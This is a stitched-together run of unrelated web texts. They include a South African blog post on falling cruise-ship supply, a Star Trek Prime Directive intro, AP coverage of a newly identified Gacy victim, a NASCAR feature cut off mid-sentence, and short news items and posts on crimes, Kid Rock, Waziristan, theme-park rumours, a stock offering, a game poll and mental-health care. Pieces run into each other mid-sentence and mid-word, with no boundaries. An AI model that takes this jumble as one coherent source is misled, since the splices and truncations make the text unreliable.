some companies sneak in SENS announcements (where they want to minimise the number of people viewing). If mispricings result, then there may be an opportunity to profit, particularly for small investors who do not need a lot of liquidity to create a significant position. I wrote about commodity shipping and (Grindrod in particular, which Alec Hogg was kind enough to publish on his excellent BizNews site) the other day, and since it's holiday time and I haven't seen anybody mention this yet in the popular press, here's a heads up on a different type of shipping. Cruise tourism in South Africa faces a severe reduction in supply in the summer of 2014/2015. So dust off your economics 101 textbook, and have a look at what happens when there's a short-term supply shock (if you don't have the economics textbook, just remind yourself what happened to flight prices when Velvet Sky and 1time Airline went under). Cruise Tourism faces Severe Slowdown leave a comment
16 December 2013. If you build it they will come? Plans are advancing for the building of a new passenger cruise terminal in Cape Town's V&A Waterfront...but will the passengers come? Cruise tourism in South Africa is reaching its peak this summer, and as things stand there will be a severe reduction in the supply of cruises in the 2014/2015 season.
In a blow to the South African tourism industry, MSC Cruises has decided to send only one ship to our shores in the summer of 2014/2015. This compares to the 2 cruise ships plying our shores this season (2013/2014) and last season (2012/2013). Even in the 2011/2012 and 2010/2011 cruise seasons there were 2 ships - the MSC Sinfonia and the MSC Melody (although the Melody is slightly smaller than the MSC Sinfonia and MSC Opera. The ships sailing South Africa's shores this season (the same for last season) are the MSC Opera and the similarly sized MSC Sinfonia cruise ship. The Sinfonia has 777 cabins. Apparently the MSC Opera is going to the dry dock to be lengthened by 24m and some 200 cabins added on (yeah, apparently they can do this kind of thing!), but this only happens on the 2nd May 2015, so not in time for the new season.
The Opera will do 38 cruises in the 2014/2015 season. Assuming 2 spending adults per cabin, 90% full on average, and that the Sinfonia would do only 30 cruises, this means that there's some 53,000 fewer passengers cruising in 2014/2015 off South Africa's shores. It's mostly local South Africans that go on these cruises. Sectors which are going to lose out are :
Airlines : Although there are a fair number of Durbanites and Capetonians cruising, there are more Gauteng passengers than from Durban and Cape Town, and they would have to book return flights (typically to Cape Town or Durban). Even the Durban and Cape Town passengers would need to make flight bookings for the Cape Town to Durban/Durban to Cape Town and repositioning cruises to Europe.
Hotels : Often cruise passengers will spend a night or more in a hotel in Cape Town or Durban before or after their cruise.
Other passenger spending : Whilst in Cape Town and Durban the passengers spend money at tourist attractions and restaurants in the cities. Some of the cruises have stops in Mossel Bay, Port Elizabeth, Namibia, Mozambique, Mauritius, Reunion and Madagascar; and the spots they visit during these stops will suffer a small decline.
Harbour industry : I'm not sure how the fees to the harbours work, but it will no doubt result in a decrease in the fees to the ports and related industries (e.g. food/drinks/fuel being delivered to ships)
Some of the people who don't cruise will probably spend their money on other tourist-related activities (so there'll be some tiny winners), and it's not a complete loss. On the other hand, cruise prices are likely to be higher than they would otherwise be if there were 2 ships.
Whichever way it goes a new passenger cruise terminal at the V&A Waterfront will be much welcomed. Cape Town took a huge step backwards when overzealous authorities stopped allowing cruise ships to berth outside the Table Bay Hotel, and moved to tents at the windswept Eastern Mole portion of the Table Bay Harbour. The move to the sheds at E-Berth in 2012 represents a vast improvement over the Eastern Mole, but a shift to the Waterfront again is first prize.
Cruise tourism is only a small slice of the South African travel pie, but if MSC Cruises is seeing a declining market for cruises from South Africa, one has to wonder whether the issues are specific to the cruise market, or just to MSC Cruises.
Airline Industry : Looking at the last 3 months available stats for OR Tambo International Airport, from August to October 2013, there were 2.5m passenger arrivals, compared to 2.4m in the same months in 2012 and 2.5m in 2011. It's pretty flat, which is not bad considering that capacity was removed by both 1time and Velvet Sky going under.
Hotel Industry : Tsogo Sun reported that the 6 months to 30 September 2013 saw overall industry occupancies at 59%, compared to 58% a year earlier (note that this is a different metric, to the total supply figures for cruises).
What may have happened in the cruise sector is that more supply was added in 2012/2013 and 2013/2014 than the South African market could absorb, and now it is being scaled back to a more sustainable level. Of course it is far easier for a cruise liner to change its supply of ships by moving them to the Mediterranean; than for a hotel group (its hotels are stuck where they are!) or even an airline (it has to abide by regulatory restrictions on where it can fly).
Due to regulations, our emails and this entire website should be considered as having been set up for entertainment purposes alone. Expect errors and omissions. Investment in shares and other financial instruments should be conducted by professional investment experts only. Any use of the information on my websites, emails and newsletters is at your own risk, and by using it you agree that the owners of our websites, authors and associated parties wont be held liable for any losses suffered as a result of using the information. None of the information should be construed as being advice. Our newsletters, articles, discussions and website are not an offering for any investment. It represents only our and others' opinions. Any views expressed are provided for information purposes only and should not be construed in any way as an offer, an endorsement, or inducement to invest. Illustrations, forecasts or hypothetical data are not guaranteed and are provided for illustrative purposes only. There are risks involved in buying or selling a financial product. Past performance is not indicative of future performance. Any investment values given are not guaranteed. Investment returns can be volatile. When investing there is always the risk of losing all or a substantial amount of your investment, as well as the risk of illiquidity. There may be advertisements on some pages on this website, and we may earn income from these advertisements. We may earn commission on products invested in or annuities purchased. We cannot attest to the accuracy of the material presented here, and opinions expressed may be changed without prior notice. In any event our liability will be limited to R1, and any court cases must take place in Cape Town. Free Investment Advice is the trading name of South Africa Travel Online CC, a licensed Financial Service Provider (FSP number 43555). You may contact us at invest@freeinvestmentadvice.orgThe Prime Directive: According to Star Trek canon, it's the guiding principle of the United Federation of Planets and prohibits Starfleet personnel from interfering with the natural internal development of alien civilizations. First introduced about two-thirds of the way through the first season of the original series, the Prime Directive has cropped up in four of the five Trek series to date, with varying degrees of importance and success.
The problem with the Prime Directive is that while it prevents Starfleet or Federation personnel from interfering with other societies -- or worse, imposing its own values on them -- it also acts as a storytelling inhibitor. What is Captain Kirk supposed to do when he beams down to a planet where the local version of the Third Reich is about to launch its own Final Solution on another race of people -- just stand there? The way Star Trek was set up, the show almost forced Kirk repeatedly into situations where he had to violate the Directive, and he did so. Otherwise we'd be staring at a blank screen for most of that hour.
Here are 11 times that Kirk intervened in a society on another planet and violated the Prime Directive, along with one time that he played by the rules. Was he right or wrong?Cook County Sheriff Tom Dart speaks at a news conference in Chicago, Wednesday, July 19, 2017, where he announced the identity of James Byron Haakenson, of Minnesota, as one of the victims of serial killer John Wayne Gacy. The teenager had left his home in 1976 and was last heard from in August of that year when he called his mother and told her he was in Chicago. (AP Photo/G-Jun Yam)
CHICAGO (AP) — After running away from his Minnesota home in 1976, 16-year-old Jimmy Haakenson called his mother, told her he was in Chicago, then disappeared forever.
More than 40 years later, a detective from Illinois arrived at the family’s home to tell Haakenson’s relatives that at some point after hanging up the phone, the teenager crossed paths with serial killer John Wayne Gacy. Haakenson’s body, it turns out, was among dozens found in a crawl space of Gacy’s Chicago-area home in 1978. But the remains were only recently identified thanks to DNA technology that wasn’t available then, the Cook County Sheriff’s Department announced Wednesday.
Gacy was convicted of killing 33 young men and was executed in 1994. But the revelation about Haakenson is the latest turn in a yearslong effort to solve the remaining mystery surrounding Gacy’s case: Who were the eight victims authorities hadn’t been able to identify?
James “Jimmy” Byron Haakenson’s body is only the second person that authorities have identified since Sheriff Tom Dart in 2011 ordered the remains of the eight victims exhumed and asked families of young men who went missing in the 1970s to provide DNA samples. The first was William Bundy, a 19-year-old construction worker from Chicago whose remains were identified weeks after the exhumations.
Haakenson’s family in Minnesota plans to come to Chicago to mark his grave.
“One of the worst people in the world that walked the earth murdered my brother,” his sister, Lorie Sisterman, who lives in North St. Paul, said Wednesday. “You hope for something different,” but she went on to add, “I’m so glad to know where my brother is.”
Gacy is remembered as one of history’s most bizarre killers, largely because of his work as an amateur clown. The Chicago-area building contractor lured young men to his home by impersonating a police officer or promising them construction work. There, he stabbed one and strangled the others. Most of the victims were buried under his home, but others were dumped in a river.
Illinois investigators long referred to Haakenson as simply “Victim #24.”
Haakenson came to Chicago hoping to strike out on his own in a city far bigger than the community of St. Paul where he lived, Dart said. According to Sisterman, the teenager had finally made good on his angry vows to his mother that he was going to run away.
He was a boy, said Sisterman, who kept “trying to find himself.”
After bodies were found in Gacy’s home, Haakenson’s mother was suspicious enough that her son was among the victims that she came to Chicago to talk to investigators. But she left without any answers because there was no way to identify the skeletal remains without dental records, Dart said. The mother died a couple of decades later.
Dart said a nephew of Haakenson became curious about the uncle he never knew and earlier this year went online to see if he could learn anything. That’s when he discovered Dart’s efforts to identify the remains of the eight young men.
Dart said the nephew went to his father, Haakenson’s brother, and his aunt, Lorie Sisterman, and persuaded them to submit the samples for testing.
“We got an immediate hit,” Dart said.
Authorities believe the teen was killed in August 1976, in part because of where he was found in Gacy’s house. Because Gacy was killing so many young men, his crawl space was filling up, forcing him to stack the bodies. Haakenson’s body was directly underneath Rick Johnston, who was last seen at a concert in Chicago on Aug. 6, 1976, and was on top of a still unidentified young man known as “Victim #26.”
Over the course of the investigation, the Cook County Sheriff’s Department has solved a number of cold cases. According to the department, investigators have located five missing persons who were alive and two missing persons who had died elsewhere in the country. For example, in 2013, Dart announced that one person who submitted DNA had allowed investigators to identify remains found in a wooded area in New Jersey as a teenager who ran away from a nearby orphanage in 1972.
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Baenen reported from Minneapolis.Welcome to The South Week at The Ringer. For the next several days, we’re celebrating — and reporting on — the richness of the region. You’ll find stories from all over the map, exploring topics such as the enduring legacy of Confederate monuments in Richmond and Montgomery, the evolution of Charleston barbecue, and the intersection of faith and football in Lubbock. We’re also ranking the best Southern rap albums, imagining the André 3000 mixtape we all deserve, and arguing about what even constitutes the South anymore. In the words of two great Southerners, nothin’ is for sure, nothin’ is for certain, nothin’ lasts forever.
Forty cars running tight on top of each other at Daytona International Speedway were pushing 200 miles per hour when no. 4, driven by Kevin Harvick, blew a tire and spun out wildly in the middle of the pack. The wreck threw no. 88, driven by Dale Earnhardt Jr., to the wall, which the battered car dragged along, sparks flying, smoke dissipating, for a terminal quarter lap. It was Dale Jr.’s second wreck of the race, and—to a great majority of the crowd’s dismay—it would be his last. After landing safely in pit lane and checking in with the track’s doctors, who gave him a clean bill of health, Dale Jr. walked back down victory lane unscathed and unrewarded as the race continued around him. Dale Jr. attempted to hold back tears that inevitably burst from his red eyes anyway. He cried. His voice cracked. “It was fun,” he shrugged. He had started the race sitting in pole position with a roaring tonnage of goodwill at his back, and he finished the race on the sidelines as Ricky Stenhouse Jr.—driver no. 17, who would go on to win this year’s Coke Zero 400—took the lead on Lap 111.
NASCAR, the newspapers, and the broadcast networks covering the race all billed the 59th annual Coke Zero 400 as the final Daytona International Speedway run of Dale Jr.’s career. In April, Dale Jr. announced he would retire from NASCAR following the end of the 2017 season. Dale Jr.’s early-July loss at Daytona wouldn’t be his final race, but it was, effectively, his swan song. “It’s been a wild night,” Dale Jr. told a pit road correspondent once he emerged from the raceway’s medical center. “I didn’t anticipate this much action and this much torn-up sheet metal,” he says, “but there’s still a lot of racing left.”
Night fell in the final laps until only the massive stadium lights whitened the track, the stands, and the sky. In the speedway’s infield, fans stood craning their necks right and left with each roaring pass. There wasn’t as much hollering as one might expect—mostly folks just talking among themselves. Everyone had nice things to say about Dale Jr., the poor guy, but now that he was out of the race, there were still plenty of second-favorites to choose from. I stood between a man in his 30s wearing a faded black Kyle Busch shirt and younger man in his 20s, who was surrounded by college friends and wearing a cute, pink tee with a portrait of Danica Patrick printed off-center on the back. Regionally, NASCAR is now a fairly diverse field: Busch hails from Las Vegas and Patrick hails from southern Wisconsin. With North Carolina’s Dale Jr. gone, NASCAR fandom is up for grabs. And more likely than not, the sport’s next superstar won’t be a classic Southern patriarch—it’ll be a handsome, savvy, eminently marketable Californian.
For as long as cars have run on roads, Daytona Beach has been a classic stock car racing scene. The city hosts two marquee races of the 68-year-old NASCAR Cup Series. There’s the Daytona 500—“The Great American Race”—which routs the Super Bowl in fan-attendance figures. Eclipsing the Indianapolis 500, the Daytona 500 is the biggest annual motorsports event in the world. And then there’s the Coke Zero 400—Daytona Beach’s “other race,” as reporters covering NASCAR tend to describe the Independence Day league tradition. Launched in 1959, it’s a few months younger than the Daytona 500. The Coke Zero 400 was originally called the Firecracker 250, and NASCAR rebranded the race several times before settling on its current sponsorship, length, and title. “The 400 will never challenge the Daytona 500 in prestige and historical significance,” wrote Ken Willis, covering this year’s race for the Daytona Beach News-Journal, “but it often matches or passes the 500 in terms of competitive intrigue and outright drama.”
In addition to that requisite intrigue and drama, Daytona International Speedway has seen its share of tragedy. It’s the track where Dale Jr.’s father, the mythical no. 3 car driver Dale Earnhardt Sr., died in a head-on wall collision in the final lap of the Daytona 500 more than 16 years ago. Dale Jr., then age 26, placed second in the race shortly before doctors at Halifax Medical Center pronounced his father dead in the early evening hours of February 18, 2001. It is, without a doubt, the darkest day in NASCAR history.
The local news anchors, the sports channel commentators, and all the large-format ads plastered across the raceway mark NASCAR’s chosen son, Dale Jr., as the unofficial honoree of this year’s race. In fact, his ubiquity in the infield is so overwhelming that you’d be forgiven for assuming that he’d already won the July race. For every odd fan wearing a T-shirt that bears the number, signature, and likeness of Kyle Busch, Danica Patrick, or retired no. 24 car driver Jeff Gordon, there’s another five fans wearing Dale Jr. memorabilia. The Earnhardt family, rooted in Kannapolis, North Carolina, since the town’s founding in 1906, is the last great dynasty in a sport where lineage goes a long way toward popularity and success. Dale Jr. is NASCAR’s crown prince. But unlike his father, who left an heir to inherit the Earnhardt family legacy in NASCAR’s commercial prime, Dale Jr. leaves no clear successor. The Earnhardt family, a Southern institution, is departing a sport that has in recent years uprooted itself from Southern lineage—and alienated Southern fans—in pursuit of the broadest possible fan base nationwide. In 2017, NASCAR is as Californian as it is Southern—if not more so.
Dan Pierce, the author of Real NASCAR: White Lightning, Red Clay, and Big Bill France, a partial history of stock car racing in the U.S., describes Earnhardt’s retirement as the latest phase of NASCAR’s regional-identity crisis. “Dale Earnhardt Jr. has always been the most popular driver, particularly since his dad died,” Pierce tells me. “He’s done well. But he hasn’t won championships. And so all the championships have been won by people from outside the South.” Frequent NASCAR Cup Series champions Jimmie Johnson and Jeff Gordon both hail from California, and successful no. 18 driver Kyle Busch is from Las Vegas. The last Southerner to win the main NASCAR cup series was Bobby Labonte, a Texan, in 2000. Pierce cites Dawsonville, Georgia, racer Chase Elliott—the current driver of the no. 24 car and the son of the retired NASCAR driver Bill Elliott—as the last Southern holdout. Elliott, now 21, won the 2014 NASCAR Nationwide Series at age 18. “I don't wanna say he’s the great, white hope,” Pierce says, “though, in some ways, I guess he is. It's a great Southern hope, I guess.”
But Chase Elliott is outnumbered by the swarm of competitive non-Southerners who have taken over the sport. Unwittingly, the famous no. 24 driver Jeff Gordon launched the West Coast invasion of NASCAR in the 1990s; Gordon was the friendly harbinger of California’s gradual annexation of NASCAR in the 21st century. Gordon grew up in Vallejo before moving to Indiana early in his teens, and he made the leap from open-wheel, Indy-style racing to NASCAR at age 19—before going on to win the 1995 championship series at age 24. “I knew what NASCAR was and [of] the Daytona 500, but I had no clue where else they went, what else they did, how competitive it was, what the cars were like to drive,” Gordon told the Los Angeles Times in 2009. “To me, it wasn't even on the map.” In the 1980s—when Gordon was a teenager—hot rods and figure-eight racing were the biggest games in California. Since the turn of the century, NASCAR has eclipsed both those motorsports traditions by a mile.
In the beginning, there were no stadiums, no grandstands, no fences, no concrete speedways—only dirt roads and baby highways on the outskirts of Charlotte and Atlanta. In Daytona, so-called jalopy jockeys raced right on the beach.
The Ford Motor Co. popularized automobiles, and Prohibition created a need for bootleggers to drive them quickly. Throughout the 1920s, bootleggers and their invaluable mechanics modified the latest Model T cars to haul liquor up and down the interstates at top speeds. They taught themselves how to outmaneuver and outrun highway patrols. Soon enough, they learned to outrun one another.
“The standard story you saw in a lot of books was that stock car racing started around Atlanta and out in the countryside,” Pierce says, “and there were these guys who were all hauling liquor and arguing about who had the fastest car, and they went out into a cow pasture and drove around in circles, created a track, and started racing one another. And then people saw the dust, and they came and started watching. And then promoters came along building fences and charging people to watch. It’s a great story, but it’s just not true.”
In fact, the hyper-corporatized NASCAR that Americans generally recognize today, defined by countless, colorful corporate brand logos vying for space across drivers’ outfits and cars, is the product of the France family’s long efforts to legitimize, professionalize, and nationalize the sport; to build NASCAR from dirt tracks into high-tech skyboxes.
After Prohibition was long dead and the black market that financed moonshine-era stock car racing had dried up, automotive brands and tobacco companies began sponsoring races. In 1971, the cigarette brand Winston poured millions of dollars of advertising into tracks, large and small, around the country. Winston bought the sponsorship rights to the main championship racing series, and NASCAR named it the Winston Cup. Jade Gurss, who is Dale Earnhardt Jr.’s biographer and former publicist, cites Winston as NASCAR’s first big, legitimate sponsor in a sport where corporate logos would go on to consume raceways, cars, and even driver’s uniforms. Winston’s original parent company, the multibillion dollar R.J. Reynolds Tobacco Co., was a leading sponsor of various stock car, hot rod, and sports prototype racing series beyond just NASCAR in the 1970s.
“It was simple things like providing gallons of red paint to all of the race tracks,” Gurss says about Winston. “Suddenly, your local racetrack looked just like the big tracks because it was all covered in Winston colors and carried that Winston brand.” Gurss notes that advertisers play an outsized role at every turn in NASCAR history. “The U.S. had passed rules where the tobacco companies were no longer allowed to advertise on TV,” Gurss says, “so you suddenly had these huge marketing budgets with nowhere for their money to go.”
Even though NASCAR’s map has expanded since the turn of century, the sport is still, essentially, a Southern family business. The late Dale Sr. was, himself, the son of Ralph Lee Earnhardt, an early NASCAR champion in the 1950s. The seven-time Daytona 500 winner Richard Petty, another son of North Carolina, also happens to be the son of NASCAR champion Lee Petty, who won the first Daytona 500 in 1959. “NASCAR royalty” is a real lineage, and it’s long bestowed real advantages in launching a career in stock car racing. To compete, you needed a car and a dedicated mechanic to enhance it before races and to repair it afterward. Stock car racing, being the contact sport that it is, gets frightfully expensive in terms of upkeep. From one generation to the next, established racing families grow somewhat more cavalier to the financial costs and physical risks of stock car racing than your average American household. “I think it was just simple economics,” Pierce says. “To make it in the top levels, especially after the sport’s earliest years, you had to have resources and access that were going to enable you to break through. And that’s much easier if you were part of a family. ‘Oh, this is so-and-so’s son.’ And then you had a natural fan base.”
At the heart this sprawling lineage is NASCAR’s first family, the France family, which owns NASCAR and has run the sport since its incorporation in February 1948. NASCAR’s founding patriarch, the late Bill France, was an auto mechanic and a racer himself. A high school dropout, France uprooted from his hometown, Washington, D.C., in favor of Florida’s warmer weather. First, France found work as a mechanic. Gradually, competitive drivers flocked to his garage, and France started organizing beach races from there. Initially, promoters, including France, organized races ad hoc; there was no formalized schedule, no annual competitions, and no league standings. There were simply winners and payouts, funded by ticket sales and—until Congress repealed Prohibition in 1933—bootlegger revenue. For the first half of the 20th century, the American Automobile Association was the only official organization sanctioning races across the country. The organization’s now-defunct Contest Board administered races until AAA withdrew from motorsports in 1955. By then, Bill France had already taken it upon himself to organize the South’s stock car drivers into a competitive league. In 1948, NASCAR’s earliest races at Daytona and Charlotte marked stock |
tour — but we all thought Donald Trump was just promoting his reality TV show, too.”
Law said during his C-SPAN interview that the view of Rock as an outsider because of his being an entertainer was something that was "superficial," and should not deter him from running. "The truth of the matter is that he's done a lot in his home state philanthropically. He's a pretty smart guy," said Law. "He thinks about policy and he's a shrewd businessman. If you're watching, Kid, we hope you run."
In non-political Kid Rock news, the singer returned to the concert stage on Friday night (Aug. 11) in his hometown of Detroit for the first time in nearly two years. Rock made a guest appearance during Foreigner's Detroit stop, joining in on their classic hit "Hot Blooded." Rock had previously invited Foreigner to open for him in 2015. Watch fan-shot video of the performance below.
Kid Rock Joins Foreigner for "Hot Blooded" in Detroit
Kid Rock for Senate AdvertisementAtlanta police arrested a mother Tuesday afternoon in the shooting of her 4-year-old son earlier in the day. The boy is in critical condition, police said.
Patricia Todd, 41, was charged with aggravated assault, tampering with evidence and cruelty to children, Officer Ralph Woolfolk said.
Woolfolk said the nature of the assault charge signaled that detectives believe the shooting was intentional, but he declined to say whether they believed the mom shot the child on purpose or accidentally. Georgia law defines aggravated assault in part as threatening someone with a deadly weapon, according to various legal websites.
“The definition of aggravated assault in the State of Georgia mentions intent,” Woolfolk told The Atlanta Journal-Constitution. “Investigators believe the actions of Miss Todd merit those charges at this time.”
Detectives interviewed Todd and found a gun in her southwest Atlanta apartment after her son was wounded, said Maj. Adam Lee, head of major crimes.
“It is going to touch your heart when you’re dealing with such a grave injury to such a young person,” Lee said.
Neighbors and relatives identified the boy as Jamari Todd and a 911 caller said he had been shot in the chest.
Police released few details Tuesday afternoon. Earlier in the day, Lee said that detectives were trying to determine whether the gunshot was accidental or self-inflicted.
Todd was interviewed at length while detectives tried to determine whether the mother and son were the only people inside the apartment at the time of the shooting, Lee said. He declined to describe whether Todd was cooperative in the interview.
The shooting happened around 11 a.m. in unit No. 7 of a one-story, cinder-block apartment complex at the intersection of University Avenue and Metropolitan Parkway near the Pittsburgh neighborhood, Lee said.
Neighbor Belinda Weems said she believed Jamari, his mother and her boyfriend had lived in the complex for several months.
Weems said she did not hear a gunshot — possibly because of the noise from her air-conditioning window unit — but heard the mother hollering.
“I didn’t know he was shot until the paramedics took him out,” she told The AJC.
The boyfriend was at his landscaping job when the shooting occurred, Weems said. She said her 9-year-old son plays with Jamari.
“They’re good people …. and he is a good little boy,” she said. “I don’t know what could have gone on. It is shocking to me.”
Robert Taylor, 49, said he had come to visit his sister Patricia Todd and learned of the shooting.
“I don’t know what happened,” Taylor told The AJC. “The police won’t tell me anything.”
Patricia Todd is scheduled to have her first appearance hearing at 11 a.m. Wednesday.Pakistan Army and Pakistan Air Force reportedly carried out a joint attack on its own citizens in Waziristan, forcing thousands of Pakistani Pashtuns to flee to Afghanistan.
The unprovoked attack was reprotedly carried out in a bid to weed out terror camps.
After being targeted by the Pakistan forces, the locals took refuge in Khost area of Afghanistan.The villagers have been set up at temporary refuge.
"All of a sudden the Pakistan government bombarded our place without any warning. We were not told what to do or where to go," said a Pakistani Pashtun in Afghanistan.
Also read: Afghanistan defends surgical strikes in PoK, says India acted in self-defence
Locals claimed that the Pakistan government destroyed everything that came their way under the pretext of targeting the Taliban.
"Sometimes Pak fights with the US, sometimes with neighbours. We people of Waziristan have never been on the side of terrorists," said another Pakistani Pashtun.
Waziristan is a mountainous region that is divided into Northern and Southern regions both on the Pakistan-Afghanistan border.
"Everyone know where the so-called terrorists are hiding and operating. They are hiding in Islamabad and Karachi," said one of the Pakistan Pashtun.As you may know, rumors are just that, rumors. Nothing more and nothing less. Keeping that in mind, let’s dive in!
The most controversial rumor is the location of the recently announced The Walking Dead house. One theory suggests soundstage 24 while some are even going as far as suggesting stage 25. For those who aren’t familiar, stage 25 currently houses DAVE School. Why would anyone think that it will house the haunted maze? It’s simple, a student of DAVE School mentioned something about being temporarily kicked out of the stage. We won’t know for certain for some time, but I did find that a bit odd.
Code names and other rumors explained after the break.
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Code names, also known as internal working titles of haunted mazes, are all the rage! Some have managed to leak and what better place to post them. Others have remained secret, however the overall themes have supposedly made their way out too.
Evac – SS24
Not just for Transformers anymore. This code name is rumored to be an Alien vs Predator themed maze. Take with a grain of salt.
Not just for Transformers anymore. This code name is rumored to be an Alien vs Predator themed maze. Take with a grain of salt. TWD – SS25
The Walking Dead, no real need for a code name when you announce the house in June. Largest HHN house to date.
The Walking Dead, no real need for a code name when you announce the house in June. Largest HHN house to date. Charlie – Tent 1
Living dolls roam this house.
Living dolls roam this house. Halloween – Tent 2
Universal Hollywood has done this before and I know Orlando has been itching to tackle the project. Michael Myers in Orlando!
Universal Hollywood has done this before and I know Orlando has been itching to tackle the project. Michael Myers in Orlando! Crows – Parade Building
This haunted house ventures into a reverse thanksgiving scenario. Thankskilling rather
This haunted house ventures into a reverse thanksgiving scenario. Thankskilling rather Ritual – SS22
Nothing screams Legendary Truth like a ritual gone bad. Bad things happened here, something awful lives under the bed.
Nothing screams Legendary Truth like a ritual gone bad. Bad things happened here, something awful lives under the bed. Synergy – SS24
Dracula’s untold story in the form of a haunted maze. This could be good.
Dracula’s untold story in the form of a haunted maze. This could be good. Smile – Disaster Queue
Clowns aren’t born, they’re made. Expect to see a Jack cameo in this house.
So that covers the houses, I’ll be posting street experiences later on! Halloween Horror Nights runs for a record setting 28 select nights September 19 through November 1.A memorial to the six people found killed in a home in the Gage Park neighborhood. (Credit: Bob Roberts)
CHICAGO (STMW) — Maria Herminia Martinez was in a kneeling position in an upstairs bedroom, her head slumped on an end table — with four bullet wounds to her head and gunshots to each of her hands — when Chicago Police found her and five family members slain in February in their Gage Park house.
Two small-caliber bullets and a fragment were recovered from Martinez’s body, according to reports released to the Chicago Sun-Times on Tuesday by the Cook County Medical Examiner’s office.
The bodies of four adults and two children, ages 10 and 13, were found throughout the bungalow on Feb. 4 in the 5700 block of South California after a friend of Noe Martinez Jr., one of the victims, told police that the O’Hare Airport window cleaner hadn’t showed up for his job for two days.
No one is charged with the mass killing. Police say they don’t think any of the victims was involved in crime. The doors to the house were locked, and the contents were undisturbed. Sources have said detectives were investigating the possibility that the killings involved a domestic situation.
The newly released reports show Herminia Martinez’s 13-year-old son, Leonardo Cruz, suffered a dozen knife wounds to the head, cheek, neck and shoulder. Leonardo, who wore braces on his teeth, was found prone near a fireplace in the living room. A textbook, ruler and pencil lay nearby.
Noe Martinez Sr., 62, suffered 42 knife wounds all over his body, including his left hand, neck, chest, groin and left leg, the reports show. His body was in a front hallway. A pocketknife was near his body, but the reports don’t say whether it was used in his killing. He was wearing an unzipped black winter jacket.
A cooler filled with tamales sat near the front door. The owner of Manolo’s Tamales told WFLD-FOX 32 that police took video from his restaurant showing the family buying food the night of Feb. 2, two days before the slaying was discovered. Noe Martinez Jr. was supposed to bring tamales to an office party at O’Hare but didn’t show up, prompting a co-worker to notify police.
Previously released medical examiner’s reports showed Leonardo’s brother, Alexis, 10, Noe Martinez Jr., 38, and his mother, Rosaura, 58, were repeatedly stabbed. Alexis was found on a rug in the basement near a book bag holding a binder of drawings. Noe Jr. was found 5 feet from Herminia, his sister, with his head resting on a forearm. Their mother, Rosaura, was in an enclosed porch. All of the family members were clothed.
(Source: Sun-Times Media Wire © Chicago Sun-Times 2016. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.)Elio Motors CEO Paul Elio must be pretty happy. According to Growth Capital Investor, he has apparently raised about $17 million through his Regulation A+ Tier II offering and is getting ready to close and start trading on the OTCQX. He says he will need a few hundred million to launch his innovative and inexpensive three-wheeled car. So this is just the beginning. They had previously raised about $5 million in a private round of financing.
For the Reg A+ IPO, Elio conducted a true public crowdfunding round using StartEngine Crowdfunding, social media advertising as well as an investment bank. Apparently there were $46 million in so-called IOIs (indications of interest) from their “test the waters” effort. Most experts believe that converting more than a third of the IOIs to investment is pretty solid.
Many have been waiting to see how the early adopters of Regulation A+ fared. Could they raise money? How long would SEC review take? What about trading? We now know answers to the first two being “yes” and “not long.” We will all be watching the ELIO ticker when it gets going.
DISCLOSURE: The views and opinions expressed in this article are those of the authors, and do not represent the views of equities.com. Readers should not consider statements made by the author as formal recommendations and should consult their financial advisor before making any investment decisions. To read our full disclosure, please go to: http://www.equities.com/disclaimerSAN ANTONIO - Joe Elliot Ramirez, 37, is accused of shooting and killing a neighbor's puppy after it wandered into the yard outside his home.
Police officers originally responded to investigate a different shooting. That call involved shots that had been fired at Ramirez, allegedly by his neighbor, according to an arrest warrant affidavit.
However, when they arrived, police also found out that the dog had been shot.
The affidavit stated that Ramirez told officers he was tired of dogs eating food left out for his cats and going to the bathroom in his yard.
He said he tried, at first, to shoo away the puppy. When it wouldn't leave, though, he said he grabbed a shotgun and fired it at the puppy, thinking it contained blanks, the affidavit stated. Instead, he shot and killed the dog, the affidavit stated.
The neighbor who owns the dog, however, told a different story. The affidavit stated that the woman told police she heard an initial shot, followed by the sound of a dog yelping.
The neighbor said when she came out of her house, she saw Ramirez standing over her puppy and shooting it at close range, the affidavit stated.
Ramirez was arrested Thursday on a charge of cruelty to non-livestock.
The affidavit stated that the neighbor also is facing a charge of aggravated assault for allegedly shooting at Ramirez.
Copyright 2016 by KSAT - All rights reserved.User Info: OEIO999 OEIO999 2 years ago #1 For it's timeline. - Results (150 votes) Grand Theft Auto: San Andreas 52.67% (79 votes) 79 Witcher 3 47.33% (71 votes) 71
GTA:SA is currently on top 10 games in GFAQS, front page. Which is amusing for a game that came out like a decade ago.
With all the reception that Witcher 3 is getting and a lot of people claiming it is the best game in the world so far, i'm wondering how it stacks up against another juggernaut of its timeline. Littlefinger is the hero Westeros deserves, but the one it will never get.
https://www.youtube.com/watch?v=XvcPZbDSwvI Which is the better game for it's timeline.GTA:SA is currently on top 10 games in GFAQS, front page. Which is amusing for a game that came out like a decade ago.With all the reception that Witcher 3 is getting and a lot of people claiming it is the best game in the world so far, i'm wondering how it stacks up against another juggernaut of its timeline.“Most people dealing with this sort of thing end up in jail or on the street. There really aren’t any other options.”
This is the response I received from an officer with the San Diego Sheriff’s Department when I called to request a visit from PERT, the Psychological Evaluation Response Team. After being told there were no PERT officers available on a Sunday, I was then informed that unless the mentally ill person is considered to be in immediate danger or a danger to someone else, they must agree to enter a treatment facility. I repeat – a mentally ill person must agree to enter a treatment facility – on their own volition. In other words, I was SOL.
PERT is a San Diego operation designed to provide an emergency assessment of an individual showing signs of severe mental illness. Uniformed law enforcement officers partner with licensed clinicians to assess a person’s mental health and needs in the moment. If PERT deems it appropriate, a person may then be taken to a treatment facility or hospital for further evaluation and possibly put on a 72 hour hold if they are seen to be dangerous. But what happens after that? They are released – usually with medication and an out patient treatment plan they are expected to stick to on their own accord.
So What?
Although this may not seem like a problem many people face, a study published in the Psychiatric Services early this month states 3.4% of adult Americans, over 8.3 million, suffer from serious psychological distress and 1.1% suffer from schizophrenia. With this amount of the population struggling with mental illness, it’s hard to believe the only real options are jail or homelessness, but after some research, it appears that is correct. According to data from the 2010 Annual Homeless Assessment Report to Congress, 26.2% of the homeless population is severely mentally ill as well as 20% of persons in jail and 15% of inmates in state prisons.
My Experience With Mental Health Care
